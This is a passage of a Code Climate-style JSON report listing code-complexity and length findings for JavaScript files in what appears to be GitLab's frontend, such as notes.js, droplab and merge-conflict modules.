refactoring.","fingerprint":"26efdceb93879d8478e3c8a4f549bc22","location":{"path":"app/assets/javascripts/notes/stores/mutations.js","lines":{"begin":66,"end":85}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"`` has 22 functions (exceeds 20 allowed). Consider refactoring.","fingerprint":"75cd5c2d207814d4a7c7fbf69c709fd6","location":{"path":"app/assets/javascripts/notes/stores/mutations.js","lines":{"begin":6,"end":224}},"other_locations":[],"remediation_points":1400000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `actions.js` has 271 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"9e2580af22da5d9875ac924fda6d0551","location":{"path":"app/assets/javascripts/notes/stores/actions.js","lines":{"begin":1,"end":337}},"other_locations":[],"remediation_points":1502400,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `saveNote` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9dbdac686defafb20b3397ccb7105ba3","location":{"path":"app/assets/javascripts/notes/stores/actions.js","lines":{"begin":151,"end":226}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `getQuickActionText` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3019b0611c6febc7b696f0615d561d1b","location":{"path":"app/assets/javascripts/notes/stores/utils.js","lines":{"begin":7,"end":26}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `collapseSystemNotes` has 33 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"757d82e7c89224872a7bd7b269ed55c5","location":{"path":"app/assets/javascripts/notes/stores/collapse_utils.js","lines":{"begin":57,"end":105}},"other_locations":[],"remediation_points":792000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `unresolvedDiscussionsIdsByDiff` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"250bf3d3615586b7cdaecad2c187e0a0","location":{"path":"app/assets/javascripts/notes/stores/getters.js","lines":{"begin":117,"end":139}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `jumpToDiscussion` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ebbd3b5d75f27f2372eb1a56ca4d9206","location":{"path":"app/assets/javascripts/notes/mixins/discussion_navigation.js","lines":{"begin":5,"end":27}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `keydown` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1977a74c9fba9606480c93a63cb0d5c0","location":{"path":"app/assets/javascripts/droplab/plugins/filter.js","lines":{"begin":4,"end":47}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `keydown` has 33 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"6356352d7ef34cfddc4738ed0c5ebdbf","location":{"path":"app/assets/javascripts/droplab/plugins/filter.js","lines":{"begin":4,"end":47}},"other_locations":[],"remediation_points":792000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `trigger` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3ad4384530fc0032f4fafe9d12e7dc70","location":{"path":"app/assets/javascripts/droplab/plugins/ajax_filter.js","lines":{"begin":35,"end":71}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `_loadData` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"357b7070736cef3f382a2c3439a40d89","location":{"path":"app/assets/javascripts/droplab/plugins/ajax_filter.js","lines":{"begin":73,"end":92}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `trigger` has 35 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"bc97a87fa8ec1b132731256b23616434","location":{"path":"app/assets/javascripts/droplab/plugins/ajax_filter.js","lines":{"begin":35,"end":71}},"other_locations":[],"remediation_points":840000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `Keyboard` has a Cognitive Complexity of 49 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6b1d8f0930c09b5318307d0788ffca30","location":{"path":"app/assets/javascripts/droplab/keyboard.js","lines":{"begin":5,"end":111}},"other_locations":[],"remediation_points":4550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `Keyboard` has 96 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"a812687f4ed1c53045b473f0d6aa5cb9","location":{"path":"app/assets/javascripts/droplab/keyboard.js","lines":{"begin":5,"end":111}},"other_locations":[],"remediation_points":2304000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `keydown` has 35 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"e7cbff360ff21f798bf424a899291302","location":{"path":"app/assets/javascripts/droplab/keyboard.js","lines":{"begin":70,"end":107}},"other_locations":[],"remediation_points":840000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `highlightHash` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2bd33253a3ff30d380e94d478d49a6e7","location":{"path":"app/assets/javascripts/line_highlighter.js","lines":{"begin":59,"end":82}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `highlightRange` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4258948c78c182b6db020222636c12bb","location":{"path":"app/assets/javascripts/line_highlighter.js","lines":{"begin":144,"end":157}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `checkElementsInView` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"08e5457bd1bcf2aa36f67185fb5ab932","location":{"path":"app/assets/javascripts/lazy_loader.js","lines":{"begin":53,"end":75}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `loadImage` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1e063810e532be97a06efabd3c56e4db","location":{"path":"app/assets/javascripts/lazy_loader.js","lines":{"begin":76,"end":94}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `constructor` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a3ef386977d1577238533b8b5352a499","location":{"path":"app/assets/javascripts/diff.js","lines":{"begin":14,"end":43}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `handleClickUnfold` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"f82a7cc93be5e64d548469363a77a2fb","location":{"path":"app/assets/javascripts/diff.js","lines":{"begin":45,"end":79}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `initMergeConflicts` has 81 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"dd259a46f5e703e8f722acdac619ad79","location":{"path":"app/assets/javascripts/merge_conflicts/merge_conflicts_bundle.js","lines":{"begin":12,"end":100}},"other_locations":[],"remediation_points":1944000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `merge_conflict_store.js` has 357 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"131a2e61cbfe7efc49cced2ffab3568b","location":{"path":"app/assets/javascripts/merge_conflicts/merge_conflict_store.js","lines":{"begin":1,"end":436}},"other_locations":[],"remediation_points":2740800,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `setParallelLine` has 30 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"f005034ab86d552698a2211ae91ae99a","location":{"path":"app/assets/javascripts/merge_conflicts/merge_conflict_store.js","lines":{"begin":101,"end":139}},"other_locations":[],"remediation_points":720000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `isReadyToCommit` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"184e70a4c8de2226d5a4b197c147f2e8","location":{"path":"app/assets/javascripts/merge_conflicts/merge_conflict_store.js","lines":{"begin":315,"end":351}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"nested_control_flow","content":{"body":""},"description":"Avoid deeply nested control flow statements.","location":{"path":"app/assets/javascripts/merge_conflicts/merge_conflict_store.js","lines":{"begin":331,"end":333}},"other_locations":[],"remediation_points":450000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"78a238497c0c8acd6ddefbb67176f033"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `init` has 216 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"0c8af9cd2b45c1c2e6e24c4678a9c6fc","location":{"path":"app/assets/javascripts/milestone_select.js","lines":{"begin":23,"end":253}},"other_locations":[],"remediation_points":5184000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `clicked` has 91 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"c5e3838b8db3f11da2f72d9acaf52a17","location":{"path":"app/assets/javascripts/milestone_select.js","lines":{"begin":150,"end":250}},"other_locations":[],"remediation_points":2184000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/milestone_select.js","lines":{"begin":187,"end":187}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"9265cc21e5d1eb1bebd044e85db1bf79"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/milestone_select.js","lines":{"begin":220,"end":248}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"36ba0880a027f4448128be161cf33b26"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Function `createFlash` has 6 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"d8f8d96fc8578fb3f7f7bf875e0668a0","location":{"path":"app/assets/javascripts/flash.js","lines":{"begin":64,"end":69}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `textBuilder` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"877ac84192b385c963c08bb4ef960d3b","location":{"path":"app/assets/javascripts/reports/store/utils.js","lines":{"begin":10,"end":37}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 36 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"e2f702de12038884b25d0ef63861bd2b","location":{"path":"app/assets/javascripts/ref_select_dropdown.js","lines":{"begin":4,"end":46}},"other_locations":[],"remediation_points":864000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `setConfig` has 35 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"33b2d4c912bf8eb7a3c4b9c2d3302729","location":{"path":"app/assets/javascripts/close_reopen_report_toggle.js","lines":{"begin":57,"end":94}},"other_locations":[],"remediation_points":840000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `notes.js` has 1338 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"515dff155804bebfe20a78b3935600eb","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":1,"end":1859}},"other_locations":[],"remediation_points":16867200,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `keydownNoteText` has a Cognitive Complexity of 24 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4a28bd8f572a9cb26ff49edf77e2d3a3","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":226,"end":278}},"other_locations":[],"remediation_points":2050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `renderNote` has a Cognitive Complexity of 19 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bc0dc1a78ad18f837b6cead5d11a5ac2","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":403,"end":462}},"other_locations":[],"remediation_points":1550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `renderDiscussionNote` has a Cognitive Complexity of 17 (exceeds 5 allowed). Consider refactoring.","fingerprint":"dbb0fd84250020e115dbb0554f3dfc2a","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":471,"end":538}},"other_locations":[],"remediation_points":1350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `toggleDiffNote` has a Cognitive Complexity of 17 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ddb3cba4008791217e07933b09a14951","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":1054,"end":1124}},"other_locations":[],"remediation_points":1350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `updateTargetButtons` has a Cognitive Complexity of 22 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4ea9fe607edc9cf98ef50a17584952c2","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":1196,"end":1241}},"other_locations":[],"remediation_points":1850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `postComment` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"cc8dd67d9f1598e83dc132f50b7f0726","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":1604,"end":1796}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"`Notes` has 74 functions (exceeds 20 allowed). Consider refactoring.","fingerprint":"5363864915c583936ec6c63c5ed96689","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":48,"end":1856}},"other_locations":[],"remediation_points":6600000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 54 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"25812d53d4eb0f340c33a5a5ddca467a","location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":59,"end":121}},"other_locations":[],"remediation_points":1296000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `addBinding` has 33 lines of code (exceeds 25 allowed). Consider 